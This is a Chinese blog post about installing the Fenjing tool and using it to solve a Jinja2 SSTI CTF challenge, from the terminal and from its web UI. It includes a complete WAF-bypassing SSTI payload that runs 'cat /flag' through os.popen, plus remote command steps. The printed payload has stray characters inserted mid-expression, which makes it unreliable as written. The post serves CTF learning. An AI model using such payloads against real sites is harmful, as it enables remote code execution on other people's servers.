Fenjing(焚靖)Windows下载报错及正确安装及实际CTF题目中运用,和它的flask框架实现应用展示。
本人小白,最近刚刚接触SSTI,介绍一款CTF工具——Fenjing【焚靖】
Fenjing是一个针对CTF比赛中Jinja SSTI绕过WAF的全自动脚本,可以自动攻击给定的网站或接口,省去手动测试接口,fuzz题目WAF的时间。
而且其实早之前我花了很多时间下载fenjing,左右琢磨了好几个小时,不知道为什么总出现路径问题的错误,去github上原网站上研究半天还是没用
![](https://i-blog.csdnimg.cn/direct/a8191f11dd71497a9837fec40bdcdc8f.png)
很多时候都报错显示:
No module named xxx
去搜 得到的答案基本上都围绕在把fenjing的路径和python38的路径在环境变量里去统一一下。
但是实际上统一后问题也没有得到解决
这里提供一个我实行成功了的示例代码:
pip install fenjing -i https://pypi.tuna.tsinghua.edu.cn/simple
![](https://i-blog.csdnimg.cn/direct/deb338a271694c05b7955551704929cc.png)
看一下有没有安装成功
python -m fenjing
![](https://i-blog.csdnimg.cn/direct/d393dab952304bea9681e39e4d0d7da8.png)
出现这个界面就是ok了。
然后我们拿一道NSS上的题做测试案例来实际体会一下:
[GDOUCTF 2023]<ez_ze>
![](https://i-blog.csdnimg.cn/direct/0b7b9b9ca9624fb3b55a57e82feedd0d.png)
ok在扫了
这里写的是
>>ls /
![](https://i-blog.csdnimg.cn/direct/59ee9a3c320346a5a6714045a8699fc2.png)
在具体表单出现后直接抓取flag
![](https://i-blog.csdnimg.cn/direct/5f15baf4e80c4ee79e29651b4da49fa9.png)
>>cat /flag
![](https://i-blog.csdnimg.cn/direct/320d71a9668c4ed0bcd404c31e96c0f0.png)
除此之外fenjing还有一个flask实现界面
python -m fenjing webui
![](https://i-blog.csdnimg.cn/direct/6682cc2d4a5c44ec9200d904adc6b7f3.png)
之后就会弹出如下界面
同样以这道题【[GDOUCTF 2023]<ez_ze>】为例子来展示使用方法
开题
Ctrl+U/右键查看网页码源:
发现3个关键信息:
method【对应请求方式】:POST
name【对应表单输入】:name
action【对应目标链接】:http://node5.anna.nssctf.cn:24511/get_flag(这个我一开始没有注意到还有“/get_flag”就漏写然后弄错了)
为了避免漏看及不太清楚这个问题出现 我们可以拦截流量包看
所以填写如下表单后点击开始分析
![](https://i-blog.csdnimg.cn/direct/fb7e196a828d499fbe1bfc11628675fe.png)
然后就有
![](https://i-blog.csdnimg.cn/direct/332cc8b72c874d7ba45d06f3ca03c5d9.png)
在执行处输入cat /flag
![](https://i-blog.csdnimg.cn/direct/e6add2a0b49440028a78a80df4139216.png)
同样拿到flag,处理过程相对终端上运行更容易理解。
同样,我们可以拿payload去源网页看看
payload:
{%set xk='OS'|lower%}{%set qf=lipsum|escape|batch(22)|first|last%}{%set gl=qf*2+'globals'+qf*2%}{%set ge=qf*2+'g''etitem'+qf*2%}{%set bi=qf*2+'builtins'+qf*2%}{%set im=qf*2+'import'+qf*2%}{%print ((cycler|attr('next')|attr(gl)|attr(ge)(bi)安全2|attr(ge)(im))(xk)|attr('p''open'))('cat /flag')|attr('read')()%}"}
得到flag。
一些更多具体使用案例,可以参考github上的使用案例:GitHub - Marven11/Fenjing: 专为CTF设计的Jinja2 SSTI全自动绕WAF脚本 | A Jinja2 SSTI cracker for bypassing WAF, designed for CTF